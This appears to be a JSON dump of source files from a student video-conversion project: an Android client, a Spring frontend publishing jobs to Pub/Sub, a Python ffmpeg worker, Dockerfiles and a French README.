[ { "alpha_fraction": 0.6676136255264282, "alphanum_fraction": 0.6846590638160706, "avg_line_length": 22.53333282470703, "blob_id": "66df36f1db30591daffd1161c3a5ef2e69f3fca9", "content_id": "0cee54b0b920a5cb82ae69c30b67f017fa3ac6bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 352, "license_type": "no_license", "max_line_length": 118, "num_lines": 15, "path": "/DataBase/Connecting.py", "repo_name": "Eli-Dolney/myFirstDatabase", "src_encoding": "UTF-8", "text": "import psycopg2\n\nDB_NAME = \"xkqcdldl\"\nDB_USER = \"xkqcdldl\"\nDB_PASS = \"IO6jwPB6G43IqgQSgL0DGVx6pCsrV4zB\"\nDB_HOST = \"chunee.db.elephantsql.com\"\nDB_PORT = \"5432\"\n\ntry:\n conn = psycopg2.connect(database = DB_NAME, user = DB_USER, password = DB_PASS, host = DB_HOST, port = DB_PORT)\n\n print(\"Database connected successfully\")\n\nexcept:\n print(\"Database not connected\")" }, { "alpha_fraction": 0.7117903828620911, "alphanum_fraction": 0.7270742654800415, "avg_line_length": 23.157894134521484, "blob_id": "ee5222b524cbacd5322151b36eb424bedc2e3d7e", "content_id": "f33ff7a95592cf166b66f03135b5301cf1a7fa14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 458, "license_type": "no_license", "max_line_length": 104, "num_lines": 19, "path": "/DataBase/delete.py", "repo_name": "Eli-Dolney/myFirstDatabase", "src_encoding": "UTF-8", "text": "import psycopg2\n\nDB_NAME = \"xkqcdldl\"\nDB_USER = \"xkqcdldl\"\nDB_PASS = \"IO6jwPB6G43IqgQSgL0DGVx6pCsrV4zB\"\nDB_HOST = \"chunee.db.elephantsql.com\"\nDB_PORT = \"5432\"\n\nconn = psycopg2.connect(database=DB_NAME, user=DB_USER, password=DB_PASS, host=DB_HOST, port=DB_PORT)\n\nprint(\"Database successfully connected\")\n\ncur = conn.cursor()\n\ncur.execute(\"DELETE FROM contacts WHERE NUMBER = 2\")\nconn.commit()\n\nprint(\"Data Successfully Deleted\")\nprint(\"Total row affected \" + str(cur.rowcount))" }, { "alpha_fraction": 0.7085019946098328, "alphanum_fraction": 0.7206477522850037, "avg_line_length": 16.068965911865234, "blob_id": "51ce5b5775f8c9b38f0c4ef2ce1c03f107cf8049", "content_id": "0e2697f52a612fe1db151bb5512059fa7d873dda", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 494, "license_type": "no_license", "max_line_length": 104, "num_lines": 29, "path": "/DataBase/insertdata.py", "repo_name": "Eli-Dolney/myFirstDatabase", "src_encoding": "UTF-8", "text": "import psycopg2\n\nDB_NAME = \"xkqcdldl\"\nDB_USER = \"xkqcdldl\"\nDB_PASS = \"IO6jwPB6G43IqgQSgL0DGVx6pCsrV4zB\"\nDB_HOST = \"chunee.db.elephantsql.com\"\nDB_PORT = \"5432\"\n\nconn = psycopg2.connect(database=DB_NAME, user=DB_USER, password=DB_PASS, host=DB_HOST, port=DB_PORT)\n\nprint(\"Database successfully connected\")\n\ncur = conn.cursor()\ncur.execute(\"\"\"\n\nCREATE TABLE CONTACTS\n(\nNUMBER INT PRIMARY KEY,\nNAME TEXT NOT NULL,\nCOMPANY TEXT NOT NULL,\nEMAIL TEXT NOT NULL\n\n)\n\n\n\"\"\")\n\nconn.commit()\nprint(\"Table created successfully\")" }, { "alpha_fraction": 0.6934782862663269, "alphanum_fraction": 0.708695650100708, "avg_line_length": 24.61111068725586, "blob_id": "ee2a04f9e4b60fdc0dcd3cb90affec2138c1b19a", "content_id": "c67376028a0a925266f6b07de849fbe9cedb30c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 460, "license_type": "no_license", "max_line_length": 104, "num_lines": 18, "path": "/DataBase/mydata.py", "repo_name": "Eli-Dolney/myFirstDatabase", "src_encoding": "UTF-8", "text": "import psycopg2\n\nDB_NAME = \"xkqcdldl\"\nDB_USER = \"xkqcdldl\"\nDB_PASS = \"IO6jwPB6G43IqgQSgL0DGVx6pCsrV4zB\"\nDB_HOST = \"chunee.db.elephantsql.com\"\nDB_PORT = \"5432\"\n\nconn = psycopg2.connect(database=DB_NAME, user=DB_USER, password=DB_PASS, host=DB_HOST, port=DB_PORT)\n\nprint(\"Database successfully connected\")\n\ncur = conn.cursor()\n\ncur.execute(\"INSERT INTO contacts (NUMBER, NAME, COMPANY, EMAIL) VALUES(5, 'bob', 'tesla', '[email protected]')\")\nconn.commit()\nprint(\"Data Inserted\")\nconn.close()" }, { "alpha_fraction": 0.6538461446762085, "alphanum_fraction": 0.670568585395813, "avg_line_length": 22.038461685180664, "blob_id": "af5707b42f6b3e92690afea28c8467e80de7f1c7", "content_id": "29359913b1c90f03799812f31e872ce03c33bf71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 598, "license_type": "no_license", "max_line_length": 104, "num_lines": 26, "path": "/DataBase/selectingdata.py", "repo_name": "Eli-Dolney/myFirstDatabase", "src_encoding": "UTF-8", "text": "import psycopg2\n\nDB_NAME = \"xkqcdldl\"\nDB_USER = \"xkqcdldl\"\nDB_PASS = \"IO6jwPB6G43IqgQSgL0DGVx6pCsrV4zB\"\nDB_HOST = \"chunee.db.elephantsql.com\"\nDB_PORT = \"5432\"\n\nconn = psycopg2.connect(database=DB_NAME, user=DB_USER, password=DB_PASS, host=DB_HOST, port=DB_PORT)\n\nprint(\"Database successfully connected\")\n\ncur = conn.cursor()\n\ncur.execute(\"SELECT NUMBER, NAME, COMPANY, EMAIL FROM contacts\")\n\nrows = cur.fetchall()\n\nfor data in rows:\n print(\"NUMBER : \" + str(data[0]))\n print(\"NAME : \" + data[1])\n print(\"COMPANY : \" + data[2])\n print(\"EMAIL : \" + data[3])\n\nprint(\"Data Selected Successfully\")\nconn.close()" }, { "alpha_fraction": 0.7052631378173828, "alphanum_fraction": 0.7200000286102295, "avg_line_length": 24.052631378173828, "blob_id": "9aaca800c74778c0ec8db8328b50cbbc4c5fe077", "content_id": "0af51be0c8939944496cc177188d3fda6c69e320", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 475, "license_type": "no_license", "max_line_length": 104, "num_lines": 19, "path": "/DataBase/update.py", "repo_name": "Eli-Dolney/myFirstDatabase", "src_encoding": "UTF-8", "text": "import psycopg2\n\nDB_NAME = \"xkqcdldl\"\nDB_USER = \"xkqcdldl\"\nDB_PASS = \"IO6jwPB6G43IqgQSgL0DGVx6pCsrV4zB\"\nDB_HOST = \"chunee.db.elephantsql.com\"\nDB_PORT = \"5432\"\n\nconn = psycopg2.connect(database=DB_NAME, user=DB_USER, password=DB_PASS, host=DB_HOST, port=DB_PORT)\n\nprint(\"Database successfully connected\")\n\ncur = conn.cursor()\n\ncur.execute(\"UPDATE contacts set EMAIL = '[email protected]' WHERE NUMBER = 1\")\nconn.commit()\n\nprint(\"Data Successfully updated\")\nprint(\"Total row affected \" + str(cur.rowcount))" } ]
6
Ackincolor/AD
https://github.com/Ackincolor/AD
273d39a405a1aa233bc7bc16bc3221e2bcef2f5f
10a3b8bbdf00ff7e593db5b5b975cf9b3c317bf6
180e742bc1fe89bd8a2e3b1c5811305f3d5f3bda
refs/heads/master
2022-11-30T17:55:10.948208
2022-11-16T11:08:41
2022-11-16T11:08:41
221,417,271
0
0
null
2019-11-13T09:08:22
2019-11-20T09:37:23
2019-11-20T10:12:47
Java
[ { "alpha_fraction": 0.6813187003135681, "alphanum_fraction": 0.685486912727356, "avg_line_length": 37.246376037597656, "blob_id": "1539c6e7fcc4cd64be423912656d5e70c0b859be", "content_id": "b2e6b29314c03e4f8f1299d39e5e1dd1eebc9a3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2639, "license_type": "no_license", "max_line_length": 159, "num_lines": 69, "path": "/VideoConverterClient/app/src/main/java/com/ackincolor/videoconversionclient/MainActivity.java", "repo_name": "Ackincolor/AD", "src_encoding": "UTF-8", "text": "package com.ackincolor.videoconversionclient;\n\nimport androidx.appcompat.app.AppCompatActivity;\n\nimport android.os.Bundle;\nimport android.view.View;\nimport android.widget.ArrayAdapter;\nimport android.widget.Button;\nimport android.widget.LinearLayout;\nimport android.widget.ProgressBar;\nimport android.widget.Spinner;\nimport android.widget.TextView;\n\nimport com.ackincolor.videoconversionclient.controller.ConvertController;\nimport com.ackincolor.videoconversionclient.utils.FileAdapter;\n\nimport org.w3c.dom.Text;\n\nimport java.util.ArrayList;\n\npublic class MainActivity extends AppCompatActivity {\n\n private ArrayList<TextView> status;\n private ArrayList<ProgressBar> progressBar;\n private Spinner spinner;\n private String[] items = {};\n private FileAdapter adapter;\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n setContentView(R.layout.activity_main);\n final LinearLayout rl = (LinearLayout) findViewById(R.id.ll);\n this.status = new ArrayList<>();\n this.progressBar = new ArrayList<>();\n\n //appel de l'api\n final ConvertController cc = new ConvertController(this);\n final Button start = findViewById(R.id.convert);\n this.status.add((TextView) findViewById(R.id.status));\n this.progressBar.add((ProgressBar) findViewById(R.id.progressBar));\n this.spinner = findViewById(R.id.spinner);\n\n start.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n cc.start(adapter.getItem(spinner.getSelectedItemPosition()),progressBar.get(progressBar.size()-1),status.get(status.size()-1),status.size()-1);\n ProgressBar pb = new ProgressBar(getApplicationContext());\n LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(339, 30);\n pb.setLayoutParams(params );\n TextView tv = new TextView(getApplicationContext());\n progressBar.add(pb);\n status.add(tv);\n rl.addView(status.get(status.size()-1));\n rl.addView(progressBar.get(progressBar.size()-1));\n }\n });\n\n this.adapter = new FileAdapter(this,R.layout.my_widget,this.items);\n this.spinner.setAdapter(this.adapter);\n cc.directories(this);\n }\n public void setStatusConversion(String status, int number){\n this.status.get(number).setText(status);\n }\n public void setListSpinner(String[] array){\n adapter.replaceValues(array);\n adapter.notifyDataSetChanged();\n }\n}\n" }, { "alpha_fraction": 0.7006369233131409, "alphanum_fraction": 0.7006369233131409, "avg_line_length": 18.625, "blob_id": "aff1613664dfffe5c5fa0f8fc719038373883615", "content_id": "a3ba7c4e62f8823827c15691d52c4a113dd71324", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 157, "license_type": "no_license", "max_line_length": 54, "num_lines": 8, "path": "/VideoConverterClient/app/src/main/java/com/ackincolor/videoconversionclient/entities/PathConversion.java", "repo_name": "Ackincolor/AD", "src_encoding": "UTF-8", "text": "package com.ackincolor.videoconversionclient.entities;\n\npublic class PathConversion {\n public String path;\n public PathConversion() {\n \n }\n}\n" }, { "alpha_fraction": 0.7739130258560181, "alphanum_fraction": 0.7782608866691589, "avg_line_length": 31.85714340209961, "blob_id": "b7c1619017487bd48f7369396ab8b03ce42a5c7c", "content_id": "047ed471c6537cfc2d9f47db2f0982f2aed68f1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 460, "license_type": "no_license", "max_line_length": 49, "num_lines": 14, "path": "/video-conversion/Dockerfile", "repo_name": "Ackincolor/AD", "src_encoding": "UTF-8", "text": "FROM python:3.5-alpine\nADD . /source\nWORKDIR /source\nCOPY ca.cert.pem ./\nCOPY application.yml ./application.yml\nRUN mkdir -p /home/lois/pyWorker\nCOPY azure.yml /home/lois/pyWorker/azure.yml\nCOPY requierments.txt requierments.txt\nRUN apk update && apk add libffi-dev openssl-dev\nRUN apk add --no-cache build-base ffmpeg\nRUN pip install -r requierments.txt\nENV GOOGLE_APPLICATION_CREDENTIALS=video-key.json\nRUN ls -l \nCMD [\"python\",\"video-conversion-worker.py\"]\n" }, { "alpha_fraction": 0.6585029363632202, "alphanum_fraction": 0.6867885589599609, "avg_line_length": 23.352941513061523, "blob_id": "696caadd566cd614d4e39855576f7b498a8909b1", "content_id": "69fff8f7e3732f5a635eff9c4b27d97537ff02e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2929, "license_type": "no_license", "max_line_length": 213, "num_lines": 119, "path": "/README.md", "repo_name": "Ackincolor/AD", "src_encoding": "UTF-8", "text": "# **TP Conversion**\n\n### Equipe :\n\nLoïs GUILLET-ANDRE\n\nAnaximandro BIAI\n\nTerence WODLING\n\n\n\n### But : \n\n​\tMise en place d'un SI permettant la conversion sur demande d'un fichier vidéo au format MP4.\n\n### Etapes :\n\n1 ) Installation de tous les composant sur une même machine virtuelle.\n\n2 ) Séparation des composants Front Back MongoDB et RabbitMQ.\n\n3 ) Utilisation de ATLAS MongoDb à la place d'une base de données local.\n\n4 ) Utilisation de AzureFile pour un stockage HA.\n\n5 ) Utilisation de PUB/SUB à la place de RabbitMQ.\n\n###### le plus dur est à venir\n\n6 ) Mise en place d'un service Docker local pour le Front\n\n​\t\t6.A ) Utilisation de GKE pour le Front.\n\n7 ) Mise en place d'un service Docker local pour le Back\n\n​\t\t7.A ) Utilisation de GKE pour le Back.\n\n8 ) développement d'un client Lourd (Pour le moment)\n\n​\t\t8.A ) Appel de l'API pour lancer une conversion\n\n​\t\t9.B ) Récupération de avancement\n\n​\t\t9.C ) Récupération du nom du fichier.\n\n### Images Docker:\n\nFront\n\n```yaml\nFROM azul/zulu-openjdk-alpine:11\nWORKDIR /source\nCOPY target/video-dispatcher-1.0-SNAPSHOT.jar /source/app.jar\nCOPY ssl/keystore.pkcs12 /source/ssl/keystore.pkcs12\nCOPY video-key.json /source/ArchiDistri.json\nENV GOOGLE_APPLICATION_CREDENTIALS=key.json\nRUN chmod 777 -R /source\nEXPOSE 42308\nCMD [\"/usr/bin/java\",\"-jar\",\"-Dspring.profiles.active=default\",\"/source/app.jar\"]\n```\n\nBack\n\n```yml\nFROM python:3.5-alpine\nADD . /source\nWORKDIR /source\nCOPY ca.cert.pem ./\nCOPY application.yml ./application.yml\nRUN mkdir -p /home/lois/pyWorker\nCOPY azure.yml /home/lois/pyWorker/azure.yml\nRUN apk add --no-cache build-base ffmpeg libffi-dev openssl-dev\nRUN pip install -r requierments.txt\nENV GOOGLE_APPLICATION_CREDENTIALS=video-key.json\nCMD [\"python\",\"video-conversion-worker.py\"]\n```\n\n\n### Deploiement Kubernetes\n\nNous avons utilisé les templates qui sont disponibles dans les actions de github.\n\n### Ajouts Python\n\nRécupération de l'avancement de la conversion (Python) :\n\n```python\nwhile (not re.compile('^Press').match(line)):\n i = i + 1\n line = thread.readline().strip().decode('utf-8')\n if (re.compile('^Duration').match(line)):\n duration_total = self.timecode_value(line.split(',')[0].split(' ')[1])\n #recuperation de la durée total de la vidéo\n\ncpl = thread.compile_pattern_list([\n pexpect.EOF,\n \"^(frame=.*)\",\n '(.+)'\n])\nwhile True:\n i = thread.expect_list(cpl, timeout=None)\n if i == 0: # EOF\n #....\n #conversion terminée\n break\n elif i == 1:\n try:\n #....\n # calcul(current_time / duration_total * 100)\n print(\"Avancement : %.2f\" % percentage)\n \n elif i == 2:\n # ....\n # ligne inutile\n pass\n```\n\n![Class Diagram](http://www.plantuml.com/plantuml/png/ZL6x3jim3Dpr5OI7RDwB3aM23XtQ8K3788CUZAr65bM9If4M-VSISGodY826Ws7TyNXyR0lhp7KAYYa14nXYfWcSpsZPKrJbx6FIMK-Gj3th0R_pDI3OGDMf1mJT5w91qC_V1EtWZmA94mM76RglrM2Eo5XcPev8JdGNxv3wKwR8Cxd6uOU-QFXm_1US1SwNfDcEc5VwfjRl-zP69dXnJbSUARQSmLAyOER_6QTgIZNFXNzMhBWGO4ST8uOET85K7WLkYcb0bgb4rzxxybWtluikatUms-yNkqXk9HPmdi7sDdYCV5mitxplxdVDSjxmTDw3lcCdBzc5AKlUNDLfraONKKqK1tBcFkNzNucZKkgf3-WRDuMFC3Ad0fiD_49Jo9wHLSiG-a-DoxmWalPee66sS2sPSCtsrguQjAZQsv69-cR3GhIjr1QZgrFu2m00)\n\n" }, { "alpha_fraction": 0.7151138782501221, "alphanum_fraction": 0.7192546725273132, "avg_line_length": 38.59016418457031, "blob_id": "5242acfb0c47fad11e7f3808057939a2a07db5e8", "content_id": "ce4f899813a71337a9458ccef70c9d181ba0b68a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2415, "license_type": "no_license", "max_line_length": 103, "num_lines": 61, "path": "/ArchiIng3/src/main/java/edu/esipe/i3/ezipflix/frontend/data/services/VideoConversion.java", "repo_name": "Ackincolor/AD", "src_encoding": "UTF-8", "text": "package edu.esipe.i3.ezipflix.frontend.data.services;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport edu.esipe.i3.ezipflix.frontend.ConversionRequest;\nimport edu.esipe.i3.ezipflix.frontend.ConversionResponse;\nimport edu.esipe.i3.ezipflix.frontend.data.entities.VideoConversions;\nimport edu.esipe.i3.ezipflix.frontend.data.repositories.VideoConversionRepository;\nimport org.springframework.amqp.core.Message;\nimport org.springframework.amqp.core.MessageProperties;\nimport org.springframework.amqp.rabbit.core.RabbitTemplate;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Component;\nimport org.springframework.stereotype.Service;\nimport org.springframework.cloud.gcp.pubsub.core.PubSubTemplate;\n\nimport java.util.UUID;\n\n/**\n * Created by Gilles GIRAUD gil on 11/4/17.\n */\n@Service\npublic class VideoConversion {\n\n// @Value(\"${conversion.messaging.rabbitmq.conversion-queue}\") public String conversionQueue;\n// @Value(\"${conversion.messaging.rabbitmq.conversion-exchange}\") public String conversionExchange;\n\n\n //@Autowired RabbitTemplate rabbitTemplate;\n @Autowired PubSubTemplate pubSubTemplate;\n\n @Autowired VideoConversionRepository videoConversionRepository;\n\n\n// @Autowired\n// @Qualifier(\"video-conversion-template\")\n// public void setRabbitTemplate(final RabbitTemplate template) {\n// this.rabbitTemplate = template;\n// }\n\n public VideoConversion() {\n \n }\n public void save(\n final ConversionRequest request,\n final ConversionResponse response) throws JsonProcessingException {\n\n final VideoConversions conversion = new VideoConversions(\n response.getUuid().toString(),\n request.getPath().toString(),\n \"\");\n\n videoConversionRepository.save(conversion);\n final Message message = new Message(conversion.toJson().getBytes(), new MessageProperties());\n //rabbitTemplate.convertAndSend(conversionExchange, conversionQueue, conversion.toJson());\n this.pubSubTemplate.publish(\"my-topic\", conversion.toJson());\n\tSystem.out.println(conversion.toJson());\n }\n\n}\n" }, { "alpha_fraction": 0.5990231037139893, "alphanum_fraction": 0.6043516993522644, "avg_line_length": 38.50877380371094, "blob_id": "f3b717ff470cf2d55bc6696513283184b01250d3", "content_id": "1eacc0cc1371184dbd0c0e01df12170b62cfa1bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 6758, "license_type": "no_license", "max_line_length": 97, "num_lines": 171, "path": "/VideoConverterClient/app/src/main/java/com/ackincolor/videoconversionclient/controller/ConvertController.java", "repo_name": "Ackincolor/AD", "src_encoding": "UTF-8", "text": "package com.ackincolor.videoconversionclient.controller;\n\nimport android.util.Log;\nimport android.view.View;\nimport android.widget.ArrayAdapter;\nimport android.widget.ProgressBar;\nimport android.widget.TextView;\n\nimport com.ackincolor.videoconversionclient.MainActivity;\nimport com.ackincolor.videoconversionclient.UnsafeOkHttpClient;\nimport com.ackincolor.videoconversionclient.entities.PathConversion;\nimport com.ackincolor.videoconversionclient.services.ConverterService;\nimport com.google.gson.Gson;\nimport com.google.gson.GsonBuilder;\nimport com.google.gson.JsonArray;\nimport com.google.gson.JsonElement;\nimport com.google.gson.JsonObject;\n\nimport org.json.JSONException;\nimport org.json.JSONObject;\n\nimport java.text.ParseException;\nimport java.util.ArrayList;\nimport java.util.Iterator;\n\nimport okhttp3.OkHttpClient;\nimport okhttp3.Request;\nimport okhttp3.WebSocket;\nimport okhttp3.WebSocketListener;\nimport okio.ByteString;\nimport retrofit2.Call;\nimport retrofit2.Callback;\nimport retrofit2.Response;\nimport retrofit2.Retrofit;\nimport retrofit2.converter.gson.GsonConverterFactory;\n\npublic class ConvertController {\n private final String BASE_URL = \"https://35.224.228.254:42308\";\n final private MainActivity v;\n private ProgressBar progressBar;\n private TextView textView;\n\n public ConvertController(MainActivity v){\n this.v = v;\n }\n public void start(String path, ProgressBar progressBar, TextView textView, final int number){\n this.progressBar = progressBar;\n this.textView = textView;\n OkHttpClient okHttpClient = UnsafeOkHttpClient.getUnsafeOkHttpClient();\n Gson gson = new GsonBuilder().serializeNulls().create();\n Retrofit retrofit = new Retrofit.Builder()\n .baseUrl(BASE_URL)\n .client(okHttpClient)\n .addConverterFactory(GsonConverterFactory.create(gson))\n .build();\n ConverterService converterService = retrofit.create(ConverterService.class);\n PathConversion pc = new PathConversion();\n pc.path = path;\n final Call<JsonObject> call = converterService.convert(pc);\n call.enqueue(new Callback<JsonObject>() {\n @Override\n public void onResponse(Call<JsonObject> call, Response<JsonObject> response) {\n if(response.isSuccessful()){\n System.out.println(\"conversion demarée\");\n v.setStatusConversion(\"conversion demarée\",number);\n System.out.println(response.body());\n //ouverture du websocket\n getStatus(response.body().get(\"uuid\").getAsString());\n }\n }\n\n @Override\n public void onFailure(Call<JsonObject> call, Throwable t) {\n t.printStackTrace();\n }\n });\n }\n private void getStatus(final String uuid){\n OkHttpClient clientStatus = UnsafeOkHttpClient.getUnsafeOkHttpClient();\n Request requestStatus = new Request.Builder().url(BASE_URL+\"/conversion_status\").build();\n WebSocketListener webSocketListenerStatus = new WebSocketListener() {\n String TAG = \"DEBUG\";\n\n @Override\n public void onOpen(WebSocket webSocket, okhttp3.Response response) {\n webSocket.send(uuid);\n Log.e(TAG, \"onOpen\");\n //webSocket.send(uuid);\n super.onOpen(webSocket, response);\n }\n\n @Override\n public void onFailure(WebSocket webSocket, Throwable t, okhttp3.Response response) {\n super.onFailure(webSocket, t, response);\n }\n\n @Override\n public void onMessage(WebSocket webSocket, String text) {\n Log.e(TAG, \"MESSAGE: Avancement :\" + text);\n try {\n Float avancement = Float.parseFloat(text);\n progressBar.setProgress(avancement.intValue());\n webSocket.send(uuid);\n }catch (NumberFormatException e){\n String targetPath = text;\n textView.setText(targetPath);\n progressBar.setProgress(100);\n if(!targetPath.equals(\"\"))\n webSocket.close(1000,null);\n webSocket.send(uuid);\n }catch(Exception e){\n e.printStackTrace();\n }\n }\n\n @Override\n public void onMessage(WebSocket webSocket, ByteString bytes) {\n Log.e(TAG, \"MESSAGE: \" + bytes.hex());\n }\n\n @Override\n public void onClosing(WebSocket webSocket, int code, String reason) {\n webSocket.close(1000, null);\n webSocket.cancel();\n Log.e(TAG, \"CLOSE: \" + code + \" \" + reason);\n }\n\n @Override\n public void onClosed(WebSocket webSocket, int code, String reason) {\n System.out.println(\"socket closed :\"+reason);\n //TODO: stuff\n }\n };\n\n clientStatus.newWebSocket(requestStatus, webSocketListenerStatus);\n clientStatus.dispatcher().executorService().shutdown();\n }\n public void directories(final MainActivity activity){\n OkHttpClient okHttpClient = UnsafeOkHttpClient.getUnsafeOkHttpClient();\n Gson gson = new GsonBuilder().serializeNulls().create();\n Retrofit retrofit = new Retrofit.Builder()\n .baseUrl(BASE_URL)\n .client(okHttpClient)\n .addConverterFactory(GsonConverterFactory.create(gson))\n .build();\n ConverterService converterService = retrofit.create(ConverterService.class);\n final Call<JsonArray> call = converterService.directories();\n call.enqueue(new Callback<JsonArray>() {\n @Override\n public void onResponse(Call<JsonArray> call, Response<JsonArray> response) {\n ArrayList<String> stringArray = new ArrayList<>();\n try{\n JsonArray jsonArray = response.body();\n Iterator iterator = jsonArray.iterator();\n while (iterator.hasNext()){\n JsonElement str = (JsonElement) iterator.next();\n stringArray.add(str.getAsString());\n }\n activity.setListSpinner(stringArray.toArray(new String[0]));\n }catch (Exception e){\n e.printStackTrace();\n }\n }\n\n @Override\n public void onFailure(Call<JsonArray> call, Throwable t) {\n t.printStackTrace();\n }\n });\n }\n}\n" }, { "alpha_fraction": 0.7433155179023743, "alphanum_fraction": 0.7860962748527527, "avg_line_length": 40.44444274902344, "blob_id": "14e2fb763468062fb8085b63a7bddbe0d447cd96", "content_id": "4af3a8a98d53d8ea327b89682c5199258ed9b101", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 374, "license_type": "no_license", "max_line_length": 81, "num_lines": 9, "path": "/ArchiIng3/Dockerfile", "repo_name": "Ackincolor/AD", "src_encoding": "UTF-8", "text": "FROM azul/zulu-openjdk-alpine:11\nWORKDIR /source\nCOPY target/video-dispatcher-1.0-SNAPSHOT.jar /source/app.jar\nCOPY ssl/keystore.pkcs12 /source/ssl/keystore.pkcs12\nCOPY video-key.json /source/ArchiDistri.json\nENV GOOGLE_APPLICATION_CREDENTIALS=key.json\nRUN chmod 777 -R /source\nEXPOSE 42308\nCMD [\"/usr/bin/java\",\"-jar\",\"-Dspring.profiles.active=default\",\"/source/app.jar\"]\n\n" }, { "alpha_fraction": 0.5970149040222168, "alphanum_fraction": 0.6268656849861145, "avg_line_length": 39.20000076293945, "blob_id": "9f6d29ddfe8ddc332c60a422ee818e52497dcb8c", "content_id": "fdbbc1204d89d2ca8d32a33e47eb1e91abeaaae9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 201, "license_type": "no_license", "max_line_length": 50, "num_lines": 5, "path": "/ArchiIng3/curl-test-client-ssl.sh", "repo_name": "Ackincolor/AD", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\ncurl -X POST -H \"Content-Type: application/json\" \\\n --data @curl-test-client-input-1.json \\\n --cacert ssl/ca/certs/ca.cert.pem \\\n https://darkops:42308/convert\n" }, { "alpha_fraction": 0.8214285969734192, "alphanum_fraction": 0.8214285969734192, "avg_line_length": 27, "blob_id": "856b16104583ee26c4f75b690b4a008c13fdfc13", "content_id": "57d0e1d339ba98089fc586848baad4b278bb92f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Gradle", "length_bytes": 56, "license_type": "no_license", "max_line_length": 40, "num_lines": 2, "path": "/VideoConverterClient/settings.gradle", "repo_name": "Ackincolor/AD", "src_encoding": "UTF-8", "text": "include ':app'\nrootProject.name='VideoConversionClient'\n" }, { "alpha_fraction": 0.7851782441139221, "alphanum_fraction": 0.7870544195175171, "avg_line_length": 38.44444274902344, "blob_id": "da44e3fe471a71d95f4f4ff1f2b626bf1228cb87", "content_id": "0f0830d2cb26e1f8005250cd9a1f1567cec26fef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1066, "license_type": "no_license", "max_line_length": 95, "num_lines": 27, "path": "/video-conversion/video-conversion-worker.py", "repo_name": "Ackincolor/AD", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3.5\n\nimport logging\n\nfrom configuration.configuration import Configuration\nfrom messaging.videoconversionmessaging import VideoConversionMessaging\nfrom database.mongodb.videoconversion import VideoConversion\nfrom videoconvunixsocket.videoconversionunixsocket import VideoConversionUnixSocket\n\n\nif __name__ == '__main__':\n\n logging.basicConfig(format='%(asctime)s - %(levelname)s: %(message)s', level=logging.DEBUG)\n configuration = Configuration()\n\n #logging.info(configuration.get_rabbitmq_host())\n #logging.info(configuration.get_rabbitmq_port())\n #logging.info(configuration.get_messaging_conversion_queue())\n #logging.info(configuration.get_database_name())\n #logging.info(configuration.get_video_conversion_collection())\n\n\n video_unix_socket = VideoConversionUnixSocket()\n video_unix_socket.start()\n video_conversion_service = VideoConversion(configuration)\n video_messaging = VideoConversionMessaging(configuration, video_conversion_service)\n video_unix_socket.setVideoConversionMessaging(video_messaging)\n\n" }, { "alpha_fraction": 0.6611774563789368, "alphanum_fraction": 0.6611774563789368, "avg_line_length": 36.953125, "blob_id": "c3f1541649bbe26a478bdfa2bea53ece4f158fae", "content_id": "75a5be73f33b35c17baee8e93edb155272f71724", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2429, "license_type": "no_license", "max_line_length": 103, "num_lines": 64, "path": "/video-conversion/configuration/configuration.py", "repo_name": "Ackincolor/AD", "src_encoding": "UTF-8", "text": "import yaml\nimport logging\n\nlogging.basicConfig(format='%(asctime)s - %(levelname)s: %(message)s', level=logging.DEBUG)\n\n\nclass Configuration(object):\n def __init__(self):\n self.configuration_file = \"./application.yml\" # Euuuuuurk !\n self.configuration_data = None\n self.azure_file = \"/home/lois/pyWorker/azure.yml\"\n self.azure_data = None\n\n f = open(self.configuration_file, 'r')\n self.configuration_data = yaml.load(f.read())\n f.close()\n f = open(self.azure_file, 'r')\n self.azure_data = yaml.load(f.read())\n f.close()\n\n def get_rabbitmq_host(self):\n return self.configuration_data['rabbitmq-server']['server']\n\n def get_rabbitmq_port(self):\n return self.configuration_data['rabbitmq-server']['port']\n\n def get_rabbitmq_vhost(self):\n return self.configuration_data['rabbitmq-server']['credentials']['vhost']\n\n def get_rabbitmq_password(self):\n return self.configuration_data['rabbitmq-server']['credentials']['password']\n\n def get_rabbitmq_username(self):\n return self.configuration_data['rabbitmq-server']['credentials']['username']\n\n def get_messaging_conversion_exchange(self):\n return self.configuration_data['conversion']['messaging']['rabbitmq']['conversion-exchange']\n\n def get_messaging_conversion_queue(self):\n return self.configuration_data['conversion']['messaging']['rabbitmq']['conversion-queue']\n\n def get_database_host(self):\n return self.configuration_data['spring']['data']['mongodb']['host']\n\n def get_database_port(self):\n return self.configuration_data['spring']['data']['mongodb']['port']\n\n def get_database_name(self):\n return self.configuration_data['spring']['data']['mongodb']['database']\n\n\n def get_video_conversion_collection(self):\n return self.configuration_data['spring']['data']['mongodb']['collections']['video-conversions']\n\n def 